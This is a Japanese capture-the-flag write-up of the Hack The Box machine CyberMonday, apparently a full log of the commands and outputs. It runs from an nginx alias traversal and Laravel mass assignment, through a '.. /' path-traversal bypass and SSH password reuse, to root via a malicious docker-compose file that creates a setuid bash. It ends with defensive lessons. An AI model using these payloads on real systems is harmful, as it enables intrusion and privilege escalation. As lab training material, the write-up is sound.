Hack The BoxのWriteup(Cybermonday)[High]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: CyberMonday — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80 (nginx)
→
off-by-slash
/assets../.env + /assets../.git/
→
APP_KEY/DB漏洩
.env + git dump
→
Mass Assignment
isAdmin=1 on /home/update
→
admin 化
/dashboard/changelog
→
webhooks API 登録
役割は user のままで良い
→
LogsController
Path Traversal (“.. /” bypass)
→
DBPASS 漏洩
john SSHパスワード使い回し
→
user.txt ✓
→
sudo secure_compose.py
cap_add:ALL+apparmor:unconfined無検査
→
root.txt ✓

全ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.229.35
nmap -Pn -sV -sC -p 22,80 10.129.229.35
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1
80/tcp open  http    nginx 1.25.1
|_http-title: Did not follow redirect to http://cybermonday.htb
ℹ️
OpenSSH のバージョン文字列から Debian 11 (bullseye) と判断。 80番ポートが cybermonday.htb へリダイレクトするため、/etc/hosts に追記する。
BASH
echo "10.129.229.35 cybermonday.htb" | sudo tee -a /etc/hosts

サイト概観 & ディレクトリ列挙

BASH
feroxbuster -u http://cybermonday.htb -x php
curl -sI http://cybermonday.htb/
RESULT
Set-Cookie: XSRF-TOKEN=...; Max-Age=7200; path=/; samesite=lax
Set-Cookie: cybermonday_session=...; Max-Age=7200; path=/; httponly; samesite=lax
X-Powered-By: PHP/8.1.20

発見ディレクトリ: /assets, /products, /login, /signup ...
ℹ️
Cookie の形式から Laravel アプリケーションと判断。/products・/login・/signup を持つ オンラインストア風サイト。/assets ディレクトリが存在することを確認。
PHASE 2

nginx off-by-slash 誤設定 → .env / .git ソース漏洩

off-by-slash の検証

NOTE
nginx の典型的な誤設定:
  location /assets {
      alias /var/www/html/public/assets/;
  }
"/assets" の末尾にスラッシュが無いと、"/assets../flag.txt" のようなリクエストが
"alias" のパス結合時にそのまま "/var/www/html/public/assets/../flag.txt" へ展開され、
親ディレクトリへ脱出できる(ディレクトリトラバーサル)。
BASH
curl -s -o /dev/null -w '%{http_code}\n' http://cybermonday.htb/assets../
RESULT
403  (404ではなく403 → リライトは効いており、脆弱性が存在する兆候)

.env 漏洩

BASH
curl -s http://cybermonday.htb/assets../.env
RESULT
APP_NAME=CyberMonday
APP_KEY=base64:EX3zUxJkzEAY2xM4pbOfYMJus+bjx6V25Wnas+rFMzA=
APP_DEBUG=true

DB_CONNECTION=mysql
DB_HOST=db
DB_USERNAME=root
DB_PASSWORD=root

SESSION_DRIVER=redis
REDIS_HOST=redis
REDIS_PREFIX=laravel_session:

CHANGELOG_PATH="/mnt/changelog.txt"
REDIS_BLACKLIST=flushall,flushdb
✅
APP_KEY(Laravel セッションCookieのAES復号鍵)と、マイクロサービス構成 (db / redis コンテナ分離) のヒントを獲得。REDIS_PREFIX から Laravel セッションが Redis にキャッシュされていることも判明(本番チェーンではデシリアライズ攻撃の起点になるが、 本レポートの実経路では未使用)。

.git ソースダンプ(参考・任意)

BASH
git-dumper http://cybermonday.htb/assets../ ./cybermonday-src/
cd cybermonday-src && cat app/Http/Controllers/ProfileController.php
RESULT (抜粋)
public function update(Request $request)
{
    $data = $request->except(["_token","password","password_confirmation"]);
    $user = User::where("id", auth()->user()->id)->first();
    ...
    $user->update($data);   // ← Mass Assignment 脆弱性
}
🚨
プロフィール更新処理 (POST /home/update) が、_token・password系以外の 全POSTフィールドをそのまま User モデルへ流し込んでいる。isAdmin カラムを 含めて送れば、未認可の権限昇格が可能になる。
PHASE 3

Mass Assignment で admin 昇格 → webhooks サブドメイン発見

一般ユーザー登録・ログイン

BASH
# CSRFトークンをフォームから取得しつつ Cookie jar で状態を維持
curl -sc cj.txt http://cybermonday.htb/signup | grep -oP 'name="_token" value="\K[^"]+'
curl -sb cj.txt -c cj.txt http://cybermonday.htb/signup \
  -d "_token=<TOKEN>&username=pt&email=pt@cybermonday.htb&password=P@ss1!&password_confirmation=P@ss1!"
curl -sb cj.txt -c cj.txt http://cybermonday.htb/login \
  -d "_token=<TOKEN2>&email=pt@cybermonday.htb&password=P@ss1!"
RESULT
302 → /home  (ログイン成功、セッションCookie確立)

isAdmin=1 を Mass Assignment で注入

BASH
curl -sb cj.txt -c cj.txt http://cybermonday.htb/home/update \
  -d "_token=<TOKEN3>&username=pt&email=pt@cybermonday.htb&isAdmin=1"
RESULT
302 → /home
以降 /home のナビゲーションバーに "Dashboard" リンクが追加される
✅
admin 昇格成功! /dashboard・/dashboard/products・ /dashboard/changelog にアクセス可能になった。

Changelog から webhooks サブドメインを発見

BASH
curl -sb cj.txt http://cybermonday.htb/dashboard/changelog
RESULT (抜粋)
<li>Added <a href="http://webhooks-api-beta.cybermonday.htb/webhooks/fda96d32-e8c8-4301-8fb3-c821a316cf77">Webhook</a> (beta) for create registration logs</li>
BASH
echo "10.129.229.35 webhooks-api-beta.cybermonday.htb" | sudo tee -a /etc/hosts
ℹ️
メインの Laravel ストアとは完全に分離した別 PHP アプリ(独自ルーター・JWT認証)が 稼働していることが判明。既存 webhook の UUID (fda96d32-...) も同時に入手できた。
PHASE 4

Webhooks API 調査 — admin 権限は実は不要

API ルート一覧の取得

BASH
curl -s http://webhooks-api-beta.cybermonday.htb/ | jq .
RESULT (抜粋)
"/auth/register": {"method":"POST","params":["username","password"]},
"/auth/login":    {"method":"POST","params":["username","password"]},
"/webhooks":      {"method":"GET"},
"/webhooks/create": {"method":"POST","params":["name","description","action"]},
"/webhooks/:uuid": {"method":"POST","actions":{"sendRequest":{...},"createLogFile":{...}}}

一般ユーザー登録・ログインで JWT 取得

BASH
curl -s http://webhooks-api-beta.cybermonday.htb/auth/register \
  -H "Content-Type: application/json" \
  -d '{"username":"pt1234","password":"P@ssDbg1!"}'

curl -s http://webhooks-api-beta.cybermonday.htb/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"pt1234","password":"P@ssDbg1!"}'
RESULT
{"status":"success","message":{"x-access-token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9..."}}
ℹ️
JWT をデコードすると {"id":N,"username":"pt1234","role":"user"}。公開されている ウォークスルー (0xdf) では、/jwks.json のRSA公開鍵を HMAC 共有鍵として再利用する JWT Algorithm Confusion(RS256→HS256すり替え)で role=admin を偽造し、 新規 webhook を作成する経路を解説している。

admin 昇格は実際には不要だった(本インスタンスでの検証結果)

BASH
# role=user の通常トークンのまま、admin限定の /webhooks/create を叩くと拒否される
curl -s http://webhooks-api-beta.cybermonday.htb/webhooks/create \
  -H "x-access-token: $TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"pt","description":"pt","action":"createLogFile"}'
RESULT
{"status":"error","message":"Unauthorized"}
BASH
# しかし「既存」webhookの一覧取得・起動・ログ読み取りは role=user のままで普通に通る
curl -s http://webhooks-api-beta.cybermonday.htb/webhooks -H "x-access-token: $TOKEN"
RESULT
{"status":"success","message":[
  {"id":1,"uuid":"fda96d32-e8c8-4301-8fb3-c821a316cf77","name":"tests","description":"webhook for tests","action":"createLogFile"},
  ...
]}
🚨
重要発見: DB には action=createLogFile の webhook が最初から1件 seed されている(GET /webhooks で admin でなくても一覧取得可能、かつ公開ウォークスルーに 記載の2023年当時の UUID と完全一致=環境は決定論的に再生成されている)。 JWT Algorithm Confusion による admin 昇格ステップを丸ごと省略し、 この既存 webhook をそのまま使い回すだけで次フェーズに進める。 (別途 Algorithm Confusion も PEM/DER/n生バイト/alg:none 等あらゆる変種で総当たり検証したが、 本インスタンスでは全て Unauthorized で拒否され通らなかった=依存ライブラリが更新され 塞がれている可能性が高い。コア脆弱性である off-by-slash と Mass Assignment は今も生きている。)
PHASE 5

LogsController Path Traversal → DBPASS漏洩 → user.txt

既存webhookを一度「起動」してログディレクトリを実在させる

NOTE
ログ書込関数 webhook_createLogFile() は呼ばれるまで
  $log_path = "/logs/{webhook_name}/";
を mkdir しない。後続の traversal が "logs" ディレクトリを実際に
経由する必要があるため、先に一度ログを書かせてディレクトリを作らせておく。
BASH
UUID=fda96d32-e8c8-4301-8fb3-c821a316cf77
curl -s http://webhooks-api-beta.cybermonday.htb/webhooks/$UUID \
  -H "x-access-token: $TOKEN" -H "Content-Type: application/json" \
  -d '{"log_name":"ptinit","log_content":"init"}'
RESULT
{"status":"success","message":"Log created"}

LogsController の検証ロジックと回避方法

NOTE
case "read":
    $logName = $this->data->log_name;
    if (preg_match("/\.\.\//", $logName)) {           // (A) "../" を直接検査して拒否
        return error("This log does not exist");
    }
    $logName = str_replace(' ', '', $logName);          // (B) 空白除去 ← (A)より後
    if (stripos($logName, "log") === false) {           // (C) 文字列 "log" を含むこと要求
        return error("This log does not exist");
    }
    ...
    file_get_contents($logPath . $logName);

バイパス: ".. /" (ドットの後に半角スペース) は (A) の正規表現に
一致しないため検査をすり抜け、(B) の空白除去で結果的に "../" に戻って
実際のパス解決には効く。(C) の "log" 文字列チェックは、一度 "logs"
ディレクトリへ実際に入ってまた出ることで素通りできる
(".. /.. /logs/.. /<target>" という自己言及的な経路)。

Path Traversal で /proc/self/environ を読み DBPASS 漏洩

BASH
curl -s http://webhooks-api-beta.cybermonday.htb/webhooks/$UUID/logs \
  -H "x-access-token: $TOKEN" \
  -H "x-api-key: 22892e36-1770-11ee-be56-0242ac120002" \
  -H "Content-Type: application/json" \
  -d '{"action":"read","log_name":".. /.. /logs/.. /proc/self/environ"}'
RESULT
{"status":"success","message":"HOSTNAME=e1862f4e1242 ... DBPASS=ngFfX2L71Nu PHP_VERSION=8.2.7 ... DBHOST=db DBUSER=dbuser ..."}
⚠️
x-api-key ヘッダは apiKeyAuth() にハードコードされた固定値 22892e36-1770-11ee-be56-0242ac120002(全インスタンス共通、ソース解析不要で既知)。 role=user のトークンと組み合わせるだけで通る。

SSHログイン → user.txt

NOTE
DBPASS は webhooks API コンテナのDB接続用パスワードだが、
開発者がこれを john ユーザーのホストSSHパスワードとしても
使い回している(開発環境でよくあるパスワード使い回しミス)。
BASH
sshpass -p 'ngFfX2L71Nu' ssh john@cybermonday.htb "id; cat ~/user.txt"
RESULT
uid=1000(john) gid=1000(john) groups=1000(john)
bb1ddf412c7a9f62033dac50df4dc6a9
user.txt — john@cybermonday
bb1ddf412c7a9f62033dac50df4dc6a9
PHASE 6

sudo secure_compose.py 悪用 (cap_add:ALL + apparmor:unconfined) → root.txt

sudo 権限の確認

BASH
john@cybermonday:~$ sudo -l
RESULT
User john may run the following commands on localhost:
    (root) /opt/secure_compose.py *.yml

secure_compose.py の検証ロジック(抜粋)

NOTE
チェック内容:
  - "privileged": true は禁止 (check_no_privileged)
  - ボリュームは必ず ":ro" (read-only) で終わること (check_read_only)
  - マウント元ホストパスは f"/home/{SUDO_USER}" または "/mnt" のみ許可 (check_whitelist)
  - マウント元が symlink でないこと (check_no_symlinks)

抜け穴: cap_add と security_opt は一切検証されていない。
つまり cap_add: ["ALL"] も security_opt: ["apparmor:unconfined"] も
素通りする。

ホスト純正 bash を先に用意(GLIBC不一致の回避)

NOTE
webhooks API コンテナ(cybermonday_api イメージ)内の /bin/bash を
そのままコピーして setuid すると、コンテナ側glibcがホスト(Debian 11)
より新しく GLIBC_2.33/2.34/2.36 not found でバイナリが起動不能になる。
対策: john自身の通常権限で読める world-readable なホスト純正
/bin/bash を「コンテナを経由せず」先にプレーンSSHでコピーしておき、
コンテナ側は chown/chmod だけを行う(バイナリがホストのuserlandを
一度も離れないためglibc不一致が発生しない)。
BASH
john@cybermonday:~$ cp /bin/bash /home/john/.pwn

悪性 docker-compose.yml の作成・実行

YAML (/tmp/dc.yml)
version: "3"
services:
  web:
    image: cybermonday_api
    command: >
      bash -c "mount -o remount,rw /john; chown root:root /john/.pwn; chmod 6777 /john/.pwn; sleep 2"
    volumes:
      - /home/john:/john:ro
    cap_add:
      - ALL
    security_opt:
      - apparmor:unconfined
BASH
john@cybermonday:~$ sudo /opt/secure_compose.py /tmp/dc.yml
RESULT
Starting services...
Finishing services
✅
AppArmor無効化 + cap_add: ALL(CAP_SYS_ADMIN含む)により、コンテナ内からの mount -o remount,rw /john がホストの bind mount に対して実際に効く。 ユーザーnamespace remap が構成されていないため、コンテナ内 root = ホスト root として .pwn への chown/chmod がそのままホストファイルシステムへ反映される。

SetUID バイナリでroot化 → root.txt

BASH
john@cybermonday:~$ ls -l .pwn
john@cybermonday:~$ ./.pwn -p -c 'id; cat /root/root.txt'
RESULT
-rwsrwsrwx 1 root root 1265648 .pwn
uid=1000(john) gid=1000(john) euid=0(root) egid=0(root) groups=0(root),1000(john)
88ddb52d2e0891a539a111c2e60f64fe
root.txt — root@cybermonday
88ddb52d2e0891a539a111c2e60f64fe
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — john@cybermonday
bb1ddf412c7a9f62033dac50df4dc6a9
root.txt — root@cybermonday
88ddb52d2e0891a539a111c2e60f64fe

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
nginx off-by-slash /assets alias (末尾スラッシュ欠落) 任意ファイル読み取り (.env / .git) High /assets../.env・/assets../.git/ でAPP_KEY・DB設定・ソースコードを漏洩
Mass Assignment Laravel ProfileController::update() 権限昇格(一般ユーザー→admin) High $request->except() のブラックリストに無い isAdmin フィールドを注入
認可漏れ (IDOR的欠陥) Webhooks API: 既存webhookの起動・ログ参照 admin専用機能への実質アクセス Medium 新規作成のみadmin限定、既存seedデータの利用・参照はrole=userで可能
Path Traversal (チェック順序の不備) LogsController::index() action=read 任意ファイル読み取り(別コンテナ内) Critical 空白挿入で ../ 検出を回避し、後段の空白除去で実際のトラバーサルへ復元
パスワード使い回し DBPASS ⇔ john SSHパスワード 水平展開 (コンテナ→ホスト) Medium /proc/self/environ 経由で漏洩したDB接続パスワードをSSHへ流用
sudoラッパーの検証漏れ /opt/secure_compose.py (cap_add / security_opt 未検証) 権限昇格 (root) Critical cap_add:ALL + apparmor:unconfined で bind mount を remount,rw、SetUIDバイナリ設置

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + feroxbuster22/80、Laravel + /assets検出
2off-by-slash/assets../.env・.gitダンプAPP_KEY、DB設定、ソースコード
3Mass AssignmentisAdmin=1 on /home/updateadmin昇格、webhooksサブドメイン発見
4Webhooks API調査register/login、既存webhookの使い回しadmin昇格ステップを省略可能と判明
5Path Traversal“.. /.. /logs/.. /proc/self/environ”user.txt(DBPASS漏洩→SSH)
6権限昇格sudo secure_compose.py (cap_add:ALL悪用)root.txt(SetUID bash)

学んだ教訓 & 防御策

問題点防御策
nginx location ブロックの末尾スラッシュ欠落 (off-by-slash) location /assets/ { alias .../assets/; } のように必ずスラッシュを揃える。 .env・.git はWebルート外へ配置するか明示的にdeny。
更新系エンドポイントで入力フィールドをホワイトリスト化せずモデルへ流し込んでいる Laravel の $fillable/$guarded を明示指定し、$request->only([...]) のようなホワイトリスト方式で必要フィールドのみ許可する。
文字列検査の順序不備(サニタイズ前にブラックリスト検査、検査後にサニタイズ) サニタイズ(正規化)を先に行い、その「後の」文字列に対して危険パターンを検査する。 可能な限りrealpath()等でパス正規化し許可ディレクトリ配下かを検証する。
異なるサービス間でのパスワード使い回し (DB password = SSH password) サービスごとに独立したランダム認証情報を発行し、シークレット管理ツール(Vault等)で一元管理する。
sudoラッパースクリプトが一部のDocker設定項目のみ検証し cap_add/security_opt を見落としている 許可リスト方式(ホワイトリスト化したキーのみ許す)に転換するか、そもそも一般ユーザーに docker-compose 実行権限を与えない。どうしても必要なら rootless Docker + 厳格な seccomp/AppArmor プロファイル強制を検討する。
HackTheBox: CyberMonday | 完全攻略レポート